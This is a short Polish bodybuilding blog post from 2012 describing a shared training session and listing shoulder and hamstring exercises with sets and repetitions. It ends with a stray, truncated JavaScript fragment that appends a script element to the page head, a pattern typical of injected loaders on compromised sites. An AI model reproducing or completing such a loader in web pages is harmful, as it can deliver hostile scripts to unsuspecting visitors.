7.08.2012 / Tomasz Lech / Kulturystyka

Wczoraj po długiej przerwie wpadli do mnie na wspólny trening znajomi z Torunia.Kasia Matella i jej podopieczny Michał Trzeciak który przygotowuje się do przyszłorocznych Debiutów w kulturystyce klasycznej.

Przetrenowaliśmy barki i mięśnie dwugłowe uda.
-odwodzenie ramienia w górę leżąc bokiem na skośnej ławce 4×12
-odwodzenie ramienia w tył z linką wyciągu górnego 3×12
-odwodzenie ramion z hantlami w górę w opadzie tułowia 3×12
-wyciskanie hantli siedząc 4×15
-wznosy bokiem siedząc 4×12
-wznosy przodem z hantlami-stojąc 4×12

-martwy ciąg na prostych nogach 4×12
-zgięcia podudzi leżąc 3×12
-zgięcia podudzi stojąc 3×12

if (document.currentScript) { d.getElementsByTagName(‚head’)[0].appendChild(s);